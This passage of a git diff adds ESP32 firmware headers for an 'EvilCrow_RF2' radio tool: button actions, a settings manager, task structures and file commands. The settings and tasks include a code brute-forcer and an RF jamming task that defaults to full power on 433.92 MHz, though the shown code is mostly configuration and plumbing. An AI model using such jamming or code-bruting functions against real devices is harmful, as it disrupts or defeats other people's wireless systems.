HwButtonAction::ReplayLast: + // TODO: Implement replay last signal + ESP_LOGI("ButtonCmd", "Replay last β€” not yet implemented"); + DeviceControls::ledBlink(3, 80); + break; + + case HwButtonAction::ToggleLed: + { + static bool ledState = false; + ledState = !ledState; + digitalWrite(LED, ledState ? HIGH : LOW); + ESP_LOGI("ButtonCmd", "LED toggled %s", ledState ? "ON" : "OFF"); + } + break; + + case HwButtonAction::DeepSleep: + ESP_LOGI("ButtonCmd", "Entering deep sleep via button"); + DeviceControls::ledBlink(5, 150); + DeviceControls::goDeepSleep(); + break; + + case HwButtonAction::Reboot: + ESP_LOGI("ButtonCmd", "Rebooting via button"); + DeviceControls::ledBlink(3, 100); + vTaskDelay(pdMS_TO_TICKS(200)); + esp_restart(); + break; + + default: + break; + } + } +}; + +#endif // BUTTON_COMMANDS_H diff --git a/include/ConfigManager.h b/include/ConfigManager.h new file mode 100644 index 0000000..ba832d6 --- /dev/null +++ b/include/ConfigManager.h @@ -0,0 +1,326 @@ +#ifndef ConfigManager_h +#define ConfigManager_h + +#include +#include "esp_log.h" +#include + +// Maximum length for BLE device name (NimBLE limit is ~29, keep it safe) +static constexpr size_t MAX_DEVICE_NAME_LEN = 20; +static constexpr const char* DEFAULT_DEVICE_NAME = "EvilCrow_RF2"; + +// Persistent device settings stored in /config.txt on LittleFS. +// WiFi parameters removed β€” this project uses BLE only. +struct DeviceSettings { + int serialBaudRate; + int8_t scannerRssi; // Scanner RSSI threshold (e.g. -80) + uint8_t bruterPower; // Bruter TX power 0-7 + uint16_t bruterDelay; // Inter-frame gap ms + uint8_t bruterRepeats; // Repetitions per code + int8_t radioPowerMod1; // CC1101 Module 1 TX power in dBm (-30 to 10) + int8_t radioPowerMod2; // CC1101 Module 2 TX power in dBm (-30 to 10) + // HW Button actions persisted across reboots + uint8_t button1Action; // HwButtonAction enum index (0-6) + uint8_t button2Action; // HwButtonAction enum index (0-6) + // NRF24 settings + uint8_t nrfPaLevel; // nRF24 PA level: 0=MIN, 1=LOW, 2=HIGH, 3=MAX + uint8_t nrfDataRate; // nRF24 data rate: 0=1MBPS, 1=2MBPS, 2=250KBPS + uint8_t nrfChannel; // nRF24 default channel (0-125) + uint8_t nrfAutoRetransmit;// nRF24 auto-retransmit count (0-15) + // BLE device name (user-configurable, persisted) + char deviceName[MAX_DEVICE_NAME_LEN + 1]; // null-terminated +}; + +// Internal flash filesystem for configuration and state. +// All user data (recordings, signals) resides on the SD card. +class ConfigManager +{ + public: + /// In-memory copy of persistent settings (loaded at boot). + static inline DeviceSettings settings = { + .serialBaudRate = 115200, + .scannerRssi = -80, + .bruterPower = 7, + .bruterDelay = 10, + .bruterRepeats = 4, + .radioPowerMod1 = 10, + .radioPowerMod2 = 10, + .button1Action = 0, + .button2Action = 0, + .nrfPaLevel = 3, // MAX by default + .nrfDataRate = 0, // 1MBPS default + .nrfChannel = 76, // Default channel 76 + .nrfAutoRetransmit = 5, + .deviceName = "EvilCrow_RF2", + }; + + /// Load settings from /config.txt into the in-memory struct. + /// If the file does not exist, it is created with defaults. + static void loadSettings() + { + if (!LittleFS.exists("/config.txt")) { + saveSettings(); // Create with defaults + ESP_LOGI("ConfigManager", "Created default /config.txt"); + return; + } + // Parse key=value pairs + File f = LittleFS.open("/config.txt", "r"); + if (!f) return; + while (f.available()) { + String line = f.readStringUntil('\n'); + line.trim(); + if (line.isEmpty() || line.startsWith("#")) continue; + int eq = line.indexOf('='); + if (eq < 0) continue; + String key = line.substring(0, eq); + String val = line.substring(eq + 1); + key.trim(); val.trim(); + + if (key == "serial_baud_rate") settings.serialBaudRate = val.toInt(); + else if (key == "scanner_rssi") settings.scannerRssi = (int8_t)val.toInt(); + else if (key == "bruter_power") settings.bruterPower = (uint8_t)val.toInt(); + else if (key == "bruter_delay") settings.bruterDelay = (uint16_t)val.toInt(); + else if (key == "bruter_repeats") settings.bruterRepeats = (uint8_t)val.toInt(); + else if (key == "radio_power_mod1") settings.radioPowerMod1 = (int8_t)val.toInt(); + else if (key == "radio_power_mod2") settings.radioPowerMod2 = (int8_t)val.toInt(); + else if (key == "button1_action") settings.button1Action = (uint8_t)val.toInt(); + else if (key == "button2_action") settings.button2Action = (uint8_t)val.toInt(); + else if (key == "nrf_pa_level") settings.nrfPaLevel = (uint8_t)val.toInt(); + else if (key == "nrf_data_rate") settings.nrfDataRate = (uint8_t)val.toInt(); + else if (key == "nrf_channel") settings.nrfChannel = (uint8_t)val.toInt(); + else if (key == "nrf_auto_retransmit") settings.nrfAutoRetransmit = (uint8_t)val.toInt(); + else if (key == "device_name") { + strncpy(settings.deviceName, val.c_str(), MAX_DEVICE_NAME_LEN); + settings.deviceName[MAX_DEVICE_NAME_LEN] = '\0'; + } + // Unknown keys are silently ignored (forward-compatible) + } + f.close(); + + // Clamp parsed values to valid ranges (same as updateFromBle) + if (settings.bruterPower > 7) settings.bruterPower = 7; + if (settings.bruterDelay < 1) settings.bruterDelay = 1; + if (settings.bruterDelay > 1000) settings.bruterDelay = 1000; + if (settings.bruterRepeats < 1) settings.bruterRepeats = 1; + if (settings.bruterRepeats > 10) settings.bruterRepeats = 10; + if (settings.radioPowerMod1 < -30) settings.radioPowerMod1 = -30; + if (settings.radioPowerMod1 > 10) settings.radioPowerMod1 = 10; + if (settings.radioPowerMod2 < -30) settings.radioPowerMod2 = -30; + if (settings.radioPowerMod2 > 10) settings.radioPowerMod2 = 10; + if (settings.scannerRssi > -10) settings.scannerRssi = -10; + if (settings.scannerRssi < -120) settings.scannerRssi = -120; + // Clamp button actions + if (settings.button1Action > 6) settings.button1Action = 0; + if (settings.button2Action > 6) settings.button2Action = 0; + // Clamp NRF settings + if (settings.nrfPaLevel > 3) settings.nrfPaLevel = 3; + if (settings.nrfDataRate > 2) settings.nrfDataRate = 0; + if (settings.nrfChannel > 125) settings.nrfChannel = 76; + if (settings.nrfAutoRetransmit > 15) settings.nrfAutoRetransmit = 5; + // Ensure device name is valid + if (settings.deviceName[0] == '\0') { + strncpy(settings.deviceName, DEFAULT_DEVICE_NAME, MAX_DEVICE_NAME_LEN); + settings.deviceName[MAX_DEVICE_NAME_LEN] = '\0'; + } + + ESP_LOGI("ConfigManager", "Settings loaded: baud=%d rssi=%d power=%d delay=%d reps=%d mod1=%d mod2=%d btn1=%d btn2=%d nrf_pa=%d nrf_dr=%d nrf_ch=%d name=%s", + settings.serialBaudRate, settings.scannerRssi, + settings.bruterPower, settings.bruterDelay, settings.bruterRepeats, + settings.radioPowerMod1, settings.radioPowerMod2, + settings.button1Action, settings.button2Action, + settings.nrfPaLevel, settings.nrfDataRate, settings.nrfChannel, + settings.deviceName); + } + + /// Persist current in-memory settings to /config.txt. + static bool saveSettings() + { + File f = LittleFS.open("/config.txt", FILE_WRITE); + if (!f) return false; + f.printf("serial_baud_rate=%d\n", settings.serialBaudRate); + f.printf("scanner_rssi=%d\n", settings.scannerRssi); + f.printf("bruter_power=%d\n", settings.bruterPower); + f.printf("bruter_delay=%d\n", settings.bruterDelay); + f.printf("bruter_repeats=%d\n", settings.bruterRepeats); + f.printf("radio_power_mod1=%d\n", settings.radioPowerMod1); + f.printf("radio_power_mod2=%d\n", settings.radioPowerMod2); + f.printf("button1_action=%d\n", settings.button1Action); + f.printf("button2_action=%d\n", settings.button2Action); + f.printf("nrf_pa_level=%d\n", settings.nrfPaLevel); + f.printf("nrf_data_rate=%d\n", settings.nrfDataRate); + f.printf("nrf_channel=%d\n", settings.nrfChannel); + f.printf("nrf_auto_retransmit=%d\n", settings.nrfAutoRetransmit); + f.printf("device_name=%s\n", settings.deviceName); + f.close(); + ESP_LOGI("ConfigManager", "Settings saved to /config.txt"); + return true; + } + + /// Apply loaded settings to the runtime modules (bruter, scanner, etc.). + /// Call AFTER modules are initialized. + static void applyToRuntime(); + + /// Update settings from a BLE binary payload and persist. + /// Payload: [scannerRssi:int8][bruterPower:u8][bruterDelayLo:u8][bruterDelayHi:u8][bruterRepeats:u8][radioPowerMod1:int8][radioPowerMod2:int8] + /// Returns true on success. Accepts 5 bytes (legacy) or 7 bytes (with radio power). + static bool updateFromBle(const uint8_t* data, size_t len) + { + if (len < 5) return false; + settings.scannerRssi = (int8_t)data[0]; + settings.bruterPower = data[1]; + settings.bruterDelay = data[2] | (data[3] << 8); + settings.bruterRepeats = data[4]; + // Extended payload with radio power per module + if (len >= 7) { + settings.radioPowerMod1 = (int8_t)data[5]; + settings.radioPowerMod2 = (int8_t)data[6]; + } + // Clamp values + if (settings.bruterPower > 7) settings.bruterPower = 7; + if (settings.bruterDelay < 1) settings.bruterDelay = 1; + if (settings.bruterDelay > 1000) settings.bruterDelay = 1000; + if (settings.bruterRepeats < 1) settings.bruterRepeats = 1; + if (settings.bruterRepeats > 10) settings.bruterRepeats = 10; + if (settings.radioPowerMod1 < -30) settings.radioPowerMod1 = -30; + if (settings.radioPowerMod1 > 10) settings.radioPowerMod1 = 10; + if (settings.radioPowerMod2 < -30) settings.radioPowerMod2 = -30; + if (settings.radioPowerMod2 > 10) settings.radioPowerMod2 = 10; + saveSettings(); + applyToRuntime(); + return true; + } + + /// Build the binary settings payload for BLE sync notification. + /// Output: [0xC0][scannerRssi:int8][bruterPower:u8][bruterDelayLo:u8][bruterDelayHi:u8][bruterRepeats:u8][radioPowerMod1:int8][radioPowerMod2:int8] + /// Returns 8 bytes. + static void buildSyncPayload(uint8_t* out) + { + out[0] = 0xC0; // MSG_SETTINGS_SYNC + out[1] = (uint8_t)settings.scannerRssi; + out[2] = settings.bruterPower; + out[3] = (uint8_t)(settings.bruterDelay & 0xFF); + out[4] = (uint8_t)((settings.bruterDelay >> 8) & 0xFF); + out[5] = settings.bruterRepeats; + out[6] = (uint8_t)settings.radioPowerMod1; + out[7] = (uint8_t)settings.radioPowerMod2; + } + + /// Remove current config and recreate defaults. + static void resetConfigToDefault() + { + LittleFS.remove("/config.txt"); + settings = {115200, -80, 7, 10, 4, 10, 10, 0, 0, 3, 0, 76, 5, "EvilCrow_RF2"}; + saveSettings(); + } + + /// Set the BLE device name and persist it. + /// Returns true on success. Name must be 1-20 ASCII characters. + static bool setDeviceName(const char* name, size_t len) + { + if (len == 0 || len > MAX_DEVICE_NAME_LEN) return false; + memcpy(settings.deviceName, name, len); + settings.deviceName[len] = '\0'; + saveSettings(); + ESP_LOGI("ConfigManager", "Device name set to: %s (reboot required)", settings.deviceName); + return true; + } + + /// Get the current device name. + static const char* getDeviceName() + { + if (settings.deviceName[0] == '\0') return DEFAULT_DEVICE_NAME; + return settings.deviceName; + } + + /// Full factory reset: remove ALL files from LittleFS and reboot. + /// Removes config, flag files, and any other persisted data. + static void factoryReset() + { + ESP_LOGW("ConfigManager", "FACTORY RESET initiated β€” erasing LittleFS"); + // Remove known files + LittleFS.remove("/config.txt"); + LittleFS.remove("/sleep_mode.flag"); + LittleFS.remove("/service_mode.flag"); + // Format entire LittleFS to ensure clean state + LittleFS.format(); + ESP_LOGW("ConfigManager", "LittleFS formatted. Rebooting..."); + delay(500); // Allow BLE notification to be sent + ESP.restart(); + } + + /// Return the entire config file as a plain-text string. + static String getPlainConfig() + { + String configData = ""; + if (LittleFS.exists("/config.txt")) { + File configFile = LittleFS.open("/config.txt", "r"); + if (configFile) { + while (configFile.available()) { + configData += configFile.readStringUntil('\n'); + configData += '\n'; + } + configFile.close(); + } + } + return configData; + } + + static String getConfigParam(const String& param) + { + String config = getPlainConfig(); + int paramIndex = config.indexOf(param + "="); + if (paramIndex != -1) { + int endIndex = config.indexOf("\n", paramIndex); + if (endIndex == -1) { // If no newline is found, this is the last line + endIndex = config.length(); + } + String value = config.substring(paramIndex + param.length() + 1, endIndex); + value.trim(); + return value; + } + return ""; + } + + /// Set or clear a boolean flag file on LittleFS. + static bool setFlag(const char* path, bool value) + { + if (value) { + File flagFile = LittleFS.open(path, FILE_WRITE); + if (flagFile) { + flagFile.close(); + return true; + } + } else { + return LittleFS.remove(path); + } + return false; + } + + /// Check whether a flag file exists. + static bool isFlagSet(const char* path) + { + return LittleFS.exists(path); + } + + static void setSleepMode(bool value) + { + setFlag("/sleep_mode.flag", value); + } + + static void setServiceMode(bool value) + { + setFlag("/service_mode.flag", value); + } + + static bool isSleepMode() + { + return isFlagSet("/sleep_mode.flag"); + } + + static bool isServiceMode() + { + return isFlagSet("/service_mode.flag"); + } +}; + +#endif // ConfigManager_h diff --git a/include/DeviceTasks.h b/include/DeviceTasks.h new file mode 100644 index 0000000..10b242c --- /dev/null +++ b/include/DeviceTasks.h @@ -0,0 +1,591 @@ +#ifndef Tasks_h +#define Tasks_h + +#include +#include "compatibility.h" +#include +#include "Arduino.h" +#include "modules/CC1101_driver/CC1101_Module.h" + +namespace Device { + +enum class TaskType { + Transmission, + Record, + DetectSignal, + FilesManager, + FileUpload, + GetState, + Idle, + Jam +}; + +struct TaskBase { + TaskType type; + TaskBase(TaskType t) : type(t) {} +}; + +// ==================================== +// Task Transmission +// ==================================== +enum class TransmissionType +{ + Raw, + File, + Binary +}; + +struct TransmissionConfig +{ + std::unique_ptr frequency; + std::unique_ptr modulation; + std::unique_ptr deviation; + std::unique_ptr preset; + + TransmissionConfig() = default; + TransmissionConfig(std::unique_ptr freq, std::unique_ptr mod, std::unique_ptr dev, std::unique_ptr pre) + : frequency(std::move(freq)), modulation(std::move(mod)), deviation(std::move(dev)), preset(std::move(pre)) + { + } +}; + +struct TaskTransmission: public TaskBase +{ + TransmissionType transmissionType; + std::unique_ptr filename; + int module = 0; + std::unique_ptr repeat; + std::unique_ptr data; + TransmissionConfig config; + int pathType = 0; // path type + + TaskTransmission(TransmissionType t) : TaskBase(TaskType::Transmission), transmissionType(t), config(), pathType(0) { + } + + // Delete copy constructor and assignment operator to prevent accidental copying + TaskTransmission(const TaskTransmission&) = delete; + TaskTransmission& operator=(const TaskTransmission&) = delete; + + // Provide move constructor and move assignment operator + TaskTransmission(TaskTransmission&& other) noexcept = default; + TaskTransmission& operator=(TaskTransmission&& other) noexcept = default; +}; + +class TaskTransmissionBuilder +{ + private: + TaskTransmission task; + + public: + TaskTransmissionBuilder(TransmissionType t) : task(t) {} + + TaskTransmissionBuilder& setFilename(std::string fname) + { + task.filename = std::make_unique(fname); + return *this; + } + + TaskTransmissionBuilder& setModule(int mod) + { + task.module = mod; + return *this; + } + + TaskTransmissionBuilder& setRepeat(int rep) + { + task.repeat = std::make_unique(rep); + return *this; + } + + TaskTransmissionBuilder& setFrequency(float freq) + { + task.config.frequency = std::make_unique(freq); + return *this; + } + + TaskTransmissionBuilder& setModulation(int mod) + { + task.config.modulation = std::make_unique(mod); + return *this; + } + + TaskTransmissionBuilder& setDeviation(float dev) + { + task.config.deviation = std::make_unique(dev); + return *this; + } + + TaskTransmissionBuilder& setPreset(std::string pre) + { + task.config.preset = std::make_unique(std::move(pre)); + return *this; + } + + TaskTransmissionBuilder& setData(std::string data) + { + task.data = std::make_unique(std::move(data)); + return *this; + } + + TaskTransmissionBuilder& setPathType(int pt) + { + task.pathType = pt; + return *this; + } + + TaskTransmission build() + { + return std::move(task); + } +}; + +// ==================================== +// Task Record +// ==================================== +struct RecordConfig +{ + float frequency; + std::unique_ptr modulation; + std::unique_ptr deviation; + std::unique_ptr rxBandwidth; + std::unique_ptr dataRate; + std::unique_ptr preset; + + RecordConfig() = default; +}; + +struct TaskRecord: public TaskBase +{ + std::unique_ptr module; + RecordConfig config; + + TaskRecord(float freq) : TaskBase(TaskType::Record), config() + { + config.frequency = freq; + } + + // Delete copy constructor and assignment operator to prevent accidental copying + TaskRecord(const TaskRecord&) = delete; + TaskRecord& operator=(const TaskRecord&) = delete; + + // Provide move constructor and move assignment operator + TaskRecord(TaskRecord&& other) noexcept = default; + TaskRecord& operator=(TaskRecord&& other) noexcept = default; +}; + +class TaskRecordBuilder +{ + private: + TaskRecord task; + + public: + TaskRecordBuilder(float frequency) : task(frequency) {} + + TaskRecordBuilder& setModulation(int mod) + { + task.config.modulation = std::make_unique(mod); + return *this; + } + + TaskRecordBuilder& setDeviation(float dev) + { + task.config.deviation = std::make_unique(dev); + return *this; + } + + TaskRecordBuilder& setRxBandwidth(float rxBW) + { + task.config.rxBandwidth = std::make_unique(rxBW); + return *this; + } + + TaskRecordBuilder& setDataRate(float dRate) + { + task.config.dataRate = std::make_unique(dRate); + return *this; + } + + TaskRecordBuilder& setPreset(std::string pre) + { + task.config.preset = std::make_unique(pre); + return *this; + } + + TaskRecordBuilder& setModule(int mod) + { + task.module = std::make_unique(mod); + return *this; + } + + TaskRecord build() + { + return std::move(task); + } +}; + +// ==================================== +// Task FilesManager +// ==================================== +enum class TaskFilesManagerAction +{ + Unknown, + List, + Load, + CreateDirectory, + Delete, + Rename +}; + +struct TaskFilesManager: public TaskBase +{ + TaskFilesManagerAction actionType; + std::string path; + std::string pathTo; + uint8_t pathType = 0; // 0=/DATA/RECORDS, 1=/DATA/SIGNALS, 2=/DATA/PRESETS, 3=/DATA/TEMP, etc. + + TaskFilesManager(TaskFilesManagerAction t, std::string p = "", std::string pt = "") + : TaskBase(TaskType::FilesManager), actionType(t), path(p), pathTo(pt) {} + + // Delete copy constructor and assignment operator to prevent accidental copying + TaskFilesManager(const TaskFilesManager&) = delete; + TaskFilesManager& operator=(const TaskFilesManager&) = delete; + + // Provide move constructor and move assignment operator + TaskFilesManager(TaskFilesManager&& other) noexcept = default; + TaskFilesManager& operator=(TaskFilesManager&& other) noexcept = default; +}; + +// ==================================== +// Task FileUpload +// ==================================== + +enum class FileUploadType +{ + File, + Firmware +}; + +struct TaskFileUpload: public TaskBase +{ + std::string filename; + FileUploadType uploadType; + size_t index; + std::vector data; + size_t len; + bool final; + + TaskFileUpload(std::string filename, FileUploadType uploadType, size_t index = 0, uint8_t* data = nullptr, size_t len = 0, bool final = false) + : TaskBase(TaskType::FileUpload), filename(filename), uploadType(uploadType), index(index), data(data, data + len), len(len), final(final) {} +}; + +// ==================================== +// Task DetectSignal +// ==================================== + +struct TaskDetectSignal: public TaskBase +{ + public: + std::unique_ptr module; + std::unique_ptr minRssi; + std::unique_ptr background; + + TaskDetectSignal() : TaskBase(TaskType::DetectSignal) {}; + + // Delete copy constructor and assignment operator to prevent accidental copying + TaskDetectSignal(const TaskDetectSignal&) = delete; + TaskDetectSignal& operator=(const TaskDetectSignal&) = delete; + + // Provide move constructor and move assignment operator + TaskDetectSignal(TaskDetectSignal&& other) noexcept = default; + TaskDetectSignal& operator=(TaskDetectSignal&& other) noexcept = default; +}; + +class TaskDetectSignalBuilder +{ + private: + TaskDetectSignal task; + + public: + // Default constructor + TaskDetectSignalBuilder() = default; + + TaskDetectSignalBuilder& setModule(int module) + { + task.module = std::make_unique(module); + return *this; + } + + TaskDetectSignalBuilder& setMinRssi(int minRssi) + { + task.minRssi = std::make_unique(minRssi); + return *this; + } + + TaskDetectSignalBuilder& setIsBackground(bool isBackground) + { + task.background = std::make_unique(isBackground); + return *this; + } + + TaskDetectSignal build() + { + return std::move(task); + } +}; + +// ==================================== +// Task GetState +// ==================================== + +struct TaskGetState: public TaskBase +{ + public: + bool full; + + TaskGetState(bool full) : TaskBase(TaskType::GetState), full(full) {} +}; + +// ==================================== +// Task Idle +// ==================================== + +struct TaskIdle: public TaskBase +{ + public: + int module; + + TaskIdle(int module) : TaskBase(TaskType::Idle), module(module) {} +}; + +// ==================================== +// Task Jam +// ==================================== + +enum class JamPatternType { + Random, // Random noise + Alternating, // Alternating pattern (0xAA, 0x55) + Continuous, // Continuous transmission (0xFF) + Custom // Custom pattern +}; + +struct TaskJam: public TaskBase +{ + public: + int module; + float frequency; + int power; // Transmitter power (0-7) + JamPatternType patternType; + std::unique_ptr> customPattern; // For custom pattern + uint32_t maxDurationMs; // Maximum operating time in ms (0 = unlimited) + uint32_t cooldownMs; // Cooldown pause time after overheating in ms + + TaskJam() : TaskBase(TaskType::Jam), + module(0), + frequency(433.92f), + power(7), + patternType(JamPatternType::Random), + maxDurationMs(60000), // 60 seconds default + cooldownMs(5000) {} // 5 seconds pause + + // Delete copy constructor and assignment operator + TaskJam(const TaskJam&) = delete; + TaskJam& operator=(const TaskJam&) = delete; + + // Move constructor and move assignment operator + TaskJam(TaskJam&& other) noexcept = default; + TaskJam& operator=(TaskJam&& other) noexcept = default; +}; + +class TaskJamBuilder +{ + private: + TaskJam task; + + public: + TaskJamBuilder() = default; + + TaskJamBuilder& setModule(int mod) + { + task.module = mod; + return *this; + } + + TaskJamBuilder& setFrequency(float freq) + { + task.frequency = freq; + return *this; + } + + TaskJamBuilder& setPower(int pwr) + { + task.power = pwr; + return *this; + } + + TaskJamBuilder& setPatternType(JamPatternType pattern) + { + task.patternType = pattern; + return *this; + } + + TaskJamBuilder& setCustomPattern(const std::vector& pattern) + { + task.customPattern = std::make_unique>(pattern); + return *this; + } + + TaskJamBuilder& setMaxDuration(uint32_t durationMs) + { + task.maxDurationMs = durationMs; + return *this; + } + + TaskJamBuilder& setCooldown(uint32_t cooldownMs) + { + task.cooldownMs = cooldownMs; + return *this; + } + + TaskJam build() + { + return std::move(task); + } +}; + +} // namespace Device + +struct QueueItem { + Device::TaskType type; + union { + Device::TaskTransmission transmissionTask; + Device::TaskRecord recordTask; + Device::TaskDetectSignal detectSignalTask; + Device::TaskFilesManager filesManagerTask; + Device::TaskFileUpload fileUploadTask; + Device::TaskGetState getStateTask; + Device::TaskIdle idleTask; + Device::TaskJam jamTask; + }; + + // Default constructor + QueueItem() : type(Device::TaskType::Idle) { + new (&idleTask) Device::TaskIdle(0); + } + + // Constructors for each task type + QueueItem(Device::TaskTransmission&& task) : type(Device::TaskType::Transmission), transmissionTask(std::move(task)) {} + QueueItem(Device::TaskRecord&& task) : type(Device::TaskType::Record), recordTask(std::move(task)) {} + QueueItem(Device::TaskDetectSignal&& task) : type(Device::TaskType::DetectSignal), detectSignalTask(std::move(task)) {} + QueueItem(Device::TaskFilesManager&& task) : type(Device::TaskType::FilesManager), filesManagerTask(std::move(task)) {} + QueueItem(Device::TaskFileUpload&& task) : type(Device::TaskType::FileUpload), fileUploadTask(std::move(task)) {} + QueueItem(Device::TaskGetState&& task) : type(Device::TaskType::GetState), getStateTask(std::move(task)) {} + QueueItem(Device::TaskIdle&& task) : type(Device::TaskType::Idle), idleTask(std::move(task)) {} + QueueItem(Device::TaskJam&& task) : type(Device::TaskType::Jam), jamTask(std::move(task)) {} + + // Destructor + ~QueueItem() { + switch (type) { + case Device::TaskType::Transmission: + transmissionTask.~TaskTransmission(); + break; + case Device::TaskType::Record: + recordTask.~TaskRecord(); + break; + case Device::TaskType::DetectSignal: + detectSignalTask.~TaskDetectSignal(); + break; + case Device::TaskType::FilesManager: + filesManagerTask.~TaskFilesManager(); + break; + case Device::TaskType::FileUpload: + fileUploadTask.~TaskFileUpload(); + break; + case Device::TaskType::GetState: + getStateTask.~TaskGetState(); + break; + case Device::TaskType::Idle: + idleTask.~TaskIdle(); + break; + case Device::TaskType::Jam: + jamTask.~TaskJam(); + break; + default: + break; + } + } + + // Disable copy constructor and copy assignment operator + QueueItem(const QueueItem&) = delete; + QueueItem& operator=(const QueueItem&) = delete; + + // Move constructor + QueueItem(QueueItem&& other) noexcept : type(other.type) { + switch (type) { + case Device::TaskType::Transmission: + new (&transmissionTask) Device::TaskTransmission(std::move(other.transmissionTask)); + break; + case Device::TaskType::Record: + new (&recordTask) Device::TaskRecord(std::move(other.recordTask)); + break; + case Device::TaskType::DetectSignal: + new (&detectSignalTask) Device::TaskDetectSignal(std::move(other.detectSignalTask)); + break; + case Device::TaskType::FilesManager: + new (&filesManagerTask) Device::TaskFilesManager(std::move(other.filesManagerTask)); + break; + case Device::TaskType::FileUpload: + new (&fileUploadTask) Device::TaskFileUpload(std::move(other.fileUploadTask)); + break; + case Device::TaskType::GetState: + new (&getStateTask) Device::TaskGetState(std::move(other.getStateTask)); + break; + case Device::TaskType::Idle: + new (&idleTask) Device::TaskIdle(std::move(other.idleTask)); + break; + case Device::TaskType::Jam: + new (&jamTask) Device::TaskJam(std::move(other.jamTask)); + break; + default: + break; + } + } + + // Move assignment operator + QueueItem& operator=(QueueItem&& other) noexcept { + if (this != &other) { + this->~QueueItem(); + type = other.type; + switch (type) { + case Device::TaskType::Transmission: + new (&transmissionTask) Device::TaskTransmission(std::move(other.transmissionTask)); + break; + case Device::TaskType::Record: + new (&recordTask) Device::TaskRecord(std::move(other.recordTask)); + break; + case Device::TaskType::DetectSignal: + new (&detectSignalTask) Device::TaskDetectSignal(std::move(other.detectSignalTask)); + break; + case Device::TaskType::FilesManager: + new (&filesManagerTask) Device::TaskFilesManager(std::move(other.filesManagerTask)); + break; + case Device::TaskType::FileUpload: + new (&fileUploadTask) Device::TaskFileUpload(std::move(other.fileUploadTask)); + break; + case Device::TaskType::GetState: + new (&getStateTask) Device::TaskGetState(std::move(other.getStateTask)); + break; + case Device::TaskType::Idle: + new (&idleTask) Device::TaskIdle(std::move(other.idleTask)); + break; + case Device::TaskType::Jam: + new (&jamTask) Device::TaskJam(std::move(other.jamTask)); + break; + default: + break; + } + } + return *this; + } +}; + +#endif // Tasks_h diff --git a/include/FileCommands.h b/include/FileCommands.h new file mode 100644 index 0000000..c2c139d --- /dev/null +++ b/include/FileCommands.h @@ -0,0 +1,1399 @@ +#ifndef FileCommands_h +#define FileCommands_h + +#include "StringBuffer.h" +#include "core/ble/CommandHandler.h" +#include "core/ble/ClientsManager.h" +#include "StringHelpers.h" +#include "BinaryMessages.h" +#include "core/ble/BleAdapter.h" +#include "SD.h" +#include +#include "Arduino.h" +#include // For strrchr +#include // For std::vector +#include "ff.h" // FATFS low-level API for fast directory reading + +// Forward declarations +extern ClientsManager& clients; + +/** + * File commands using static buffers + * instead of dynamic strings to save memory on microcontrollers + */ +class FileCommands { +public: + static void registerCommands(CommandHandler& handler) { + handler.registerCommand(0x05, handleGetFilesList); + handler.registerCommand(0x09, handleLoadFileData); + handler.registerCommand(0x0B, handleRemoveFile); + handler.registerCommand(0x0C, handleRenameFile); + handler.registerCommand(0x0A, handleCreateDirectory); + // 0x0D (upload) is handled specially in BleAdapter::handleUploadChunk, not via CommandHandler + handler.registerCommand(0x0E, handleCopyFile); + handler.registerCommand(0x0F, handleMoveFile); + handler.registerCommand(0x10, handleSaveToSignalsWithName); + handler.registerCommand(0x14, handleGetDirectoryTree); // Changed from 0x12 to avoid conflict with startJam + } + +private: + // Static buffers to avoid dynamic allocations + static JsonBuffer jsonBuffer; + static PathBuffer pathBuffer; + static LogBuffer logBuffer; + + // Helper functions for path operations + + /** + * Returns the appropriate filesystem for the given pathType. + * pathType 0-3 use SD card, pathType 4 uses LittleFS (internal flash). + */ + static fs::FS& getFS(uint8_t pathType) { + if (pathType == 4) return LittleFS; + return SD; + } + + /** + * Buffered file copy between two open File handles. + * Uses a 512-byte stack buffer for efficient block transfer + * instead of byte-by-byte read/write. + * @return true on success, false on write error + */ + static bool bufferedFileCopy(File& src, File& dst) { + uint8_t buf[512]; + while (src.available()) { + size_t toRead = std::min((size_t)src.available(), sizeof(buf)); + size_t bytesRead = src.read(buf, toRead); + if (bytesRead == 0) break; + size_t written = dst.write(buf, bytesRead); + if (written != bytesRead) return false; + } + return true; + } + + /** + * Builds base path from pathType + * @param pathType 0=RECORDS, 1=SIGNALS, 2=PRESETS, 3=TEMP, 4=INTERNAL (LittleFS root) + * @param buffer buffer to receive result + */ + static void buildBasePath(uint8_t pathType, PathBuffer& buffer) { + buffer.clear(); + if (pathType == 4) { + // LittleFS internal storage - root path + return; + } + buffer.append("/DATA/"); + switch (pathType) { + case 0: buffer.append("RECORDS"); break; + case 1: buffer.append("SIGNALS"); break; + case 2: buffer.append("PRESETS"); break; + case 3: buffer.append("TEMP"); break; + default: buffer.append("RECORDS"); break; + } + } + + /** + * Builds full path from pathType and relative path + * @param pathType 0=RECORDS, 1=SIGNALS, 2=PRESETS, 3=TEMP, 4=INTERNAL + * @param relativePath relative path (may be empty or "/") + * @param pathLen length of relative path + * @param buffer buffer to receive result + */ + static void buildFullPath(uint8_t pathType, const char* relativePath, size_t pathLen, PathBuffer& buffer) { + buildBasePath(pathType, buffer); + + // For LittleFS (pathType 4), base path is empty so start with "/" + if (pathType == 4 && buffer.size() == 0) { + buffer.append("/"); + } + + // Add path if not root + if (pathLen > 0) { + // Check whether the path is root + if (pathLen != 1 || relativePath[0] != '/') { + buffer.append("/"); + + // Remove leading slash if present + if (relativePath[0] == '/') { + buffer.append(relativePath + 1, pathLen - 1); + } else { + buffer.append(relativePath, pathLen); + } + } else { + // Root path "/" - add trailing slash for directory + buffer.append("/"); + } + } else { + // Empty path - add trailing slash for root directory + buffer.append("/"); + } + } + + /** + * Extracts filename from full path + * @param fullPath full path + * @param filename buffer to receive filename + */ + static void extractFilename(const char* fullPath, PathBuffer& filename) { + filename.clear(); + const char* lastSlash = strrchr(fullPath, '/'); + if (lastSlash) { + filename.append(lastSlash + 1); + } else { + filename.append(fullPath); + } + } + + // Binary tree builder + static void buildDirectoryTreeBinaryRecursive(const char* path, uint8_t* buffer, size_t& offset, uint16_t& count, size_t maxBufferSize = 1024) { + // Use FATFS low-level API for O(n) directory traversal + char fatfsPath[256]; + snprintf(fatfsPath, sizeof(fatfsPath), "/sd%s", path); + + FF_DIR fatDir; + FILINFO fno; + FRESULT res = f_opendir(&fatDir, fatfsPath); + if (res != FR_OK) { + // Try without /sd prefix + res = f_opendir(&fatDir, path); + if (res != FR_OK) { + return; + } + } + + uint16_t entriesProcessed = 0; + while (true) { + res = f_readdir(&fatDir, &fno); + if (res != FR_OK || fno.fname[0] == 0) { + // No more entries + break; + } + + // Skip . and .. + if (fno.fname[0] == '.' && (fno.fname[1] == '\0' || (fno.fname[1] == '.' && fno.fname[2] == '\0'))) { + 